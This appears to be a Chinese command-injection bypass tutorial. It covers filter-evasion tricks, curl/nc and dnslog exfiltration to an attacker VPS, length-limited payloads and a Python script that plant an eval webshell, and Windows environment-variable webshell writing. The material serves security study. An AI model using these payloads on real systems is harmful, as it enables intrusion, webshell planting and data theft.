更多渗透技能 ,10余本电子书及渗透工具包,搜公众号:白帽子左一

作者:掌控安全-xiao_yi

一、常见命令执行的函数

system()

system(string $command, int &$return_var = ?): string

执行系统命令,有回显

passthru()

passthru(string $command, int &$return_var = ?): void

执行系统命令并且显示原始输出

shell_exec()

shell_exec(string $cmd): string)

通过shell环境执行命令,并且将完整的输出以字符串形式返回(无回显)

exec()

exec(string $command, array &$output = ?, int &$return_var = ?): string

执行一个外部程序, 同时无回显,且输出的时候仅返回命令的最后一行

反引号

echo `ls`;

只要在反引号里的字符串都会被当作代码执行,注意如果反引号在单、双引号内则不起作用

回调函数
这类型函数会在代码执行的时候讲到,故这里只说明一点,如果回调函数执行的是上述的执行系统命令的函数,那么回调函数也可以被当成命令执行使用

二、Bypass技巧

(1)针对Linux系统
分隔符

换行符         %0a回车符         %0d(利用fuzz测试从%00-%ff)连续指令       ;后台进程       &                 # java -jar test.jar &  表示进行放到后台执行,无法被ctrl+c杀死管道符         |           # echo 'ls' | bash逻辑符         ||  &&          # skjkfj||ls  由于前面命令不存在而为假,转而执行后面的ls

空格代替

<$IFS${IFS}$IFS$(1-9)                                  #从1到9,可以进行fuzz{cat,flag.txt}%09 用于url传递,类似于%09代替空格

过滤特定函数(例如cat)

less, tac, more, less, head, tail, nl, od        # 命令代替ca""tca''tca``tca\ta=c;b=at;$a$b xxx.php                                                        # 变量拼接c${u}at                                                                                 # 因为c$uat 系统不知道你要执行的是$u还是$uat,因此加上界定符,命令成功运行l`$u`swh$1oamiwho$@amiwhoa$*mi

其他思路

a=l;b=s;$a$b                                                    # 变量拼接`echo d2hvYW1p | base64 -d`                     # base64编码substr string pos end                                   # 利用字符串切割得到我们想要的字符,但是这种方法的利用考虑尝试.sh文件,未复现echo ${PATH:0:1}echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"echo "`expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1`"   => $PWD 代表环境变量expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}14${IFS}1$u                                                                      # $u在Linux中代表的是空字符串,并不是代表是空格,这里有一些好玩的技巧c${u}at index$u.php$uc`$u`at index$u.php$u

对于无回显情况
对于无回显的情况,和sql注入无回显的思路差不多!(所以方法只是其次,主要是思路)

判断思路

延时                  ls|sleep(3)HTTP请求          curlDNS请求               ping

curl进行检测

有一台可以进行通信的vpsvps 上执行 nc -lvnp 4444在目标机器上执行curl vps:4444观察vps的连接情况若出现返回,则说明这里是存在命令执行的或者是编写sh脚本curl ip/1.sh > /tmp/1.sh1.sh里面写内容 | nc vps的ip 监听端口让受害机器将数据发送给你

dnslog进行检测

由于域名转换成ip需要经过一次dns解析,所以可以通过dnslog将数据外带出来推荐如下两个dnslog地址:http://dnslog.cnhttp://ceye.io/records/dns

注:在实际运用中有如下的局限性

1、长度的限制,外带的数据不能过长

(解决思路:尝试将结果截断,分批次外带)

2、外带出来的数据中不能包含空格,很多特殊字符如(;>?<"’),我fuzz到的结果仅可以拼接_

(解决思路:使用Linux的字符替换函数将可能出现的字符替换后再进行外带)

第二条可能是我能力有限,因为我看到网上还是有外带flag的案例,里面就出现了上述不能出现的字符,这个问题还未弄明白,我先把我的思路放在下面,查了一下域名可用字符,合法字符只有中文汉字|_|-这三个

这里只能讲一下思路,利用sed函数将空格替换成_,也可以替换成NULL

where_is_flag.php的内容是: <?php $flag={xxxxxxxx}?>

要目标机器去ping cat where_is_flag.php|sed s/[[:space:]]/_/.vflkgp.dnslog.cn

sed s/[[:space:]]// 会将cat读取的内容里面的所有空格替换为_

ping -c 4 cat 1.php|sed s/[[:space:]]/_/|sed s/\</_/|sed s/\?/_/|sed s/\;/_/|sed s/\?/_/|sed s/\>/_/|sed s/\(/_/|sed s/\)/_/.eugcs.ceye.io

可以尝试将所有可能出现的字符全部替换一遍

利用思路

写shell (直接写入/外部下载)

利用http/dns将数据外带

Bypass命令执行长度限制

思路

wget 远程下载echo + >写入文件mv 重命名w>d\\ 写文件名后再通过 ls -t>0将文件名全部按时间顺序写入到0中 然后sh 0执行脚本,运气不错的话就可以生成马(因为这里在复现的时候出现了很多插曲)

15个字符限制

<?phphighlight_file(__FILE__);if(strlen($_GET[1])<15){echo strlen($_GET[1]);echo shell_exec($_GET[1]);}else{exit("too long");}?>

思路

1、 通过 wget localhost/a     (只要你的域名够短,不大于8位的域名就可以进行利用)再进行重命名 mv a a.php2、通过echo写入echo \<?php>1echo eval\(>>1echo \$_GET>>1echo \[1\]>>1echo \)\;>>1

7个字符限制

<?phphighlight_file(__FILE__);if(strlen($_GET[1])<8){echo strlen($_GET[1]);echo shell_exec($_GET[1]);}else{exit("too long");}?>

思路

这里首先想到wget去远程下载文件,但是发现 wget \a就已经7个字符了,所以这种利用思路在这里就不可行了

然后再想到用echo写入,这里也值得注意的是 echo >>1已经8个字符,远超过了限制

但是秉承上面第二个的思路,那有没有很短的命令也可以进行写入呢?

这里由于思路比较新颖,故而详细的记录一下具体过程


```clike
介绍一下用到的命令:w>a向目录中写入一些数据并生成a文件ls -t按照时间顺序排列当前文件名sh用/bin/bash 执行文件中的命令集合

这里的思路就是将payload分隔成一条条的命令,然后利用 w> 生成文件名为payload的文件集合,利用ls写到一个文件中,再用sh执行分割的命令, 同时为了防止shell中的特殊字符影响,采用base64编码。具体流程如下:```clike
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7\|base64 -d\>1.php

分解成下面,放到 7byte.txt(尽可能每句话等长度,不然ls -t可能会出现排序错误,同时也要注意特殊字符的影响)

m>hpm>1.p\\m>d\>\\m>\ -\\m>e64\\m>bas\\m>7\|\\m>XSk\\m>Fsx\\m>dFV\\m>kX0\\m>bCg\\m>XZh\\m>AgZ\\m>waH\\m>PD9\\m>o\ \\m>ech\\ls -t>0sh 0

用下面的脚本一次请求

`# coding: utf-8import timeimport requestsurl1 = "http://192.168.111.x/demo/rce7.php?1="with open("7byte.txt", 'r') as f:for i in f.readlines():url = url1 + i.strip()requests.get(url)time.sleep(0.2)print(f"已经请求{url}")res = requests.get(url1[:-12]+"/1.php")if res.status_code == 200:print("ok, You have already upload!")

执行成功,成功写了一个shell

这是sh 执行的文件的内容 \表示命令未结束0ech\o \PD9\waH\AgZ\XZh\bCg\kX0\dFV\Fsx\XSk\7|\bas\e64\-\d>\1.p\hpa7rce.php

5个字符限制
和7字符思路一致,只是需要思考如何突破 ls -t>z

这里给出如下思路,先生成一个里面存有ls -t>z的文件a,利用sh a产生带有exp的z文件

ls -rt>z由于Linux系统中ls默认排序是根据字符顺序排序的,所以拆解命令>l\\>s\ \\>-rt\\>\>z\\ls>a

4个字符限制
同样思路也是解决 ls -t>z这个问题,但是如果是四个字符的话,很难找到相应的字母来固定ls执行后的顺序,所以这里有新的知识点

输入通配符*, Linux会把第一个列出来的文件名当作命令,剩下的文件名当作参数

>id>root*uid=0(root) gid=0(root) 组=0(root)

增加字母来限定被用来当作命令和参数的文件

>ls>lss>lsss*slss  lsss

rev将输出内容导致, dir将当前文件列出且不换行

>revecho 1234 > v*v (等同于命令:rev v)ls -t >0

所以我们需要构造的文件名为:0< ht- sl(这里需要用ls 的参数h 将t往前拉),所以最终payload如下:

>dir>e\>>ht->slls>a

dir>f\>>ht->sl*>v>rev*v>0[root@localhost test]# cat 0ls  -th  >f

payload如下

>hp>p\\>1.\\>\>\\>-d\\>\}\\>IFS\\>\{\\>\$\\>base64\\>\|\\>PD9waHAgZXZhbCgkX0dFVFsxXSk7\\        # 这里是因为我偷懒了,忽略字符长度限制的payload,实际上这里按照思路一个字母一个字母的分割也是没问题的>echo\ \\

(2)针对Windows系统

主要参考来源:urfyyy师傅的文章

(文章在社区,社区的邀请码可以文末扫码找助教拿)

社区文章地址:https://bbs.zkaq.cn/t/4557.html

有兴趣的小伙伴可以看下他的文章的原理,我这里仅仅记录总结和复现。

分隔符

这里对分隔符做一些思考,是否像Linux一样存在多种方式进行多行命令执行呢?

假设执行这两个明明,中间的分隔符fuzz测试: whoami%7cdir%7c  ---------- | ---------- 只会执行 后一个命令%26  ---------- & ---------- 两个命令同时执行%00  ---------- NULL-------- 执行前一个命令(这里有一个想法就是尝试使用00截断有可能看到函数报错信息)%0a  ---------- 换行符------- 执行前一个命令

那么这里又引出了思考,是不是只有&&才可以在windows的DOS命令下连续执行多条命令

whoami&&dir&ipconfig

whoami|dir||ipconfig

这里发现 || 是或的意思,前面为真后面就不执行了,且 | 是管道符,前面执行的结果给后一个命令,但是dir命令不需要whoami返回的结果,所以只返回了后面dir执行的结果。

可以用dir /a/b | more这个命令感受一些管道符的魅力

空格替代
这里第一个想到的就是字符截取

set envar=whoami%envar:~0%     # 取出所有字符%envar:~0,6%   # 取出从第0个字符开始,取长度为6位的字符,这里由于whoami总共就是6个字符,所以命令成功执行

使用set可以看到有哪些全局变量是我们可以利用的

现在开始着手从环境变量里取出空格

PSModulePath=C:\Program Files\WindowsPowerShell\Modulesnet%PSModulePath:~10,1%user

d^i^r%CommonProgramFiles:~10,1%%SystemRoot:~0,3%

利用环境变量在C盘下写一句话,这里需要system权限

echo "<?php @eval($_request[abc]);">123.phpecho "<?php @eval($_post[a]);">123.phpecho%CommonProgramFiles:~10,1%%TJ:~10,1%<%TJ:~-4,1%%TJ:~14,1%%TJ:~15,1%%TJ:~14,1%%CommonProgramFiles:~10,1%%TJ:~8,1%%TJ:~5,1%%TJ:~16,1%%TJ:~0,1%%TJ:~17,1%(%TJ:~7,1%_%TJ:~14,1%%TJ:~-1,1%%TJ:~22,2%[%TJ:~0,1%])%TJ:~11,1%%TJ:~10,1%>%SystemRoot:~0,3%1.%TJ:~14,1%h%TJ:~14,1%%CommonProgramFiles:~10,1%  空格%SystemRoot:~0,3%           C:\%TJ:~10,1%                  "%TJ:~14,1%                  p%TJ:~-4,1%                  ?%TJ:~15,1%                  h%TJ:~8,1%                   @%TJ:~5,1%                   e%TJ:~16,1%                  v%TJ:~0,1%                   a%TJ:~17,1%                  l%TJ:~9,1%                   \%TJ:~7,1%                   $%TJ:~-1,1%                  o%TJ:~22,2%                  st%TJ:~11,1%                  ;a bcde/$@\";fgphvlrequst?<po

写入成功但是多了双引号,但是echo的时候不加双引号会爆语法错误

我这里给出下面解决思路:

第一种就是在第一个双引号后添加?>使前者闭合,后面的”之前添加一个# 注释掉

我们可以发现第一个引号可以当作使一个字符串存在,并不影响后面代码的运行只需要注释后面的引号就可以顺利执行

其他无回显和过滤特定函数思路和LInux系统一致

三、总结

bypass主要是知识的积累和对抗,这篇文章如果有新的姿势我会持续的修改和更新,喜欢这篇文章的小伙伴点个赞吧!

关于命令执行Bypass的一些思路相关推荐

  1. 命令执行 bypass

    0x00:管道符.命令执行函数 0x01:管道符 在用 linux 命令时候,我们可以一行执行多条命令或者有条件的执行下一条命 令,下面我们讲解一下 linux 命令分号&&和& ...

  2. Hack The Box - Meta 利用Exiftool远程代码执行漏洞获取webshell,ImageMagrick命令执行漏洞横向提权,更改环境配置SUDO纵向提权

    Hack The Box - Meta Hack The Box开始使用流程看这篇 文章目录 Hack The Box - Meta 整体思路 1.Nmap扫描 2.Exiftool远程代码执行漏洞( ...

  3. php禁用了所有命令执行的函数 怎么搞,PHP通过bypass disable functions执行系统命令的方法汇总...

    一.为什么要bypass disable functions 为了安全起见,很多运维人员会禁用PHP的一些"危险"函数,例如eval.exec.system等,将其写在php.in ...

  4. 命令执行漏洞-命令执行-漏洞位点- 代码注入-漏洞利用-联合执行-Bypass(空格,关键字过滤,变量绕过)-例题两道-actf2020exec-GXYCTF2019 Ping Ping Ping

    命令执行 命令执行是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令.当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数. 比如PHP中的system,e ...

  5. php越权执行命令漏洞_PHP漏洞挖掘思路+实例 第二章

    0x00 背景 感谢各位的评论与讨论,经过研讨的地方在文章中标出. 补充之前第一篇文章中思路,重新加入了最近发现的一些实例(也有部分来自wooyun上的牛人们已公开的漏洞,漏洞归属原作者并均在文章内标 ...

  6. CTF中的Bypass命令执行

    文章目录 一.一些基础知识: `;` `|` `||` `&` `&&` `{}与()` 输入/输出的重定向 正则表达式中的字符簇含义 二.一些小`trick` 通配符`*`与 ...

  7. CTF命令执行及绕过技巧

    前言 今天是代码审计部分的一个技巧补充!前些阵子做了sql注入回顾篇系列!今天开启php代码审计系列! 今天内容主要是CTF中命令注入及绕过的一些技巧!以及构成RCE的一些情景! 文章目录 前言 正文 ...

  8. redis命令_Redis 命令执行过程(下)

    点击上方"程序员历小冰",选择"置顶或者星标" 你的关注意义重大! 在上一篇文章中<Redis 命令执行过程(上)>中,我们首先了解 Redis 命 ...

  9. cve-2019-11076 Cribl UI 1.5.0 未授权命令执行漏洞分析

    Cribl是一款日志分析工具.Cribl UI是其中的一个用户界面. Cribl UI 1.5.0版本中存在安全漏洞.远程攻击者可借助未认证的Web请求利用该漏洞运行任意命令. 前言 前几天瞎逛 Gi ...

最新文章

  1. Python五种实用的小技巧
  2. 梯度下降算法的简单证明
  3. 常见OJ评判结果对照表
  4. 航电 2041 超级楼梯
  5. 10.2 运算符重载函数作为类成员函数和友元函数
  6. OpenSolaris北京用户组的第一次活动
  7. ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞
  8. vue积累——另一种走马灯
  9. C++之文件操作探究(二):读文件——文本文件
  10. python3 全局变量 局部变量_Python3获取变量名并修改函数内部的外部变量和局部变量,python3,在,local...
  11. Android Studio 4.0 / 4.0.1 无法创建Activity 问题
  12. jquery实现无限滚动瀑布流实现原理
  13. 诺基亚n1支持java功能_关于诺基亚N1你必须要了解这10个问题!
  14. 判断是否是微信浏览器还是企业微信浏览器
  15. TA进阶实例33(Unreal制作魔兽世界透视效果)
  16. 基于LQR的车辆LKA算法设计
  17. 6.(cesium之家)cesium点编辑点修改
  18. 【redis】内存优化方案
  19. UE4 VR项目设置总结
  20. intelliJ IDEA启用快速定位文件图标

热门文章

  1. android线程池!如何试出一个Android开发者真正的水平?内容太过真实
  2. Android IOS平台AE动画库
  3. 数字政府智慧政务一网通办解决方案2022
  4. java程序作弄别人_我的世界:作弄基友,戏耍熊孩子?家中常备红石陷阱,谁来谁遭殃!...
  5. idea中更换java版本
  6. 语音识别(ASR)论文优选:性能测试Wav2Vec2.0 on the Edge: Performance Evaluation
  7. 大学计算机知识考试题,大学计算机基础理论知识前三章测试题
  8. css禁止文本或文字图标点击被选中
  9. 跟着弦哥学人工智能2—HAND-CRAFTED RULES实现的人工智能及其缺陷
  10. django踩坑关于django.core.exceptions.ImproperlyConfigured: The SECRET_KEY setting must not be empty.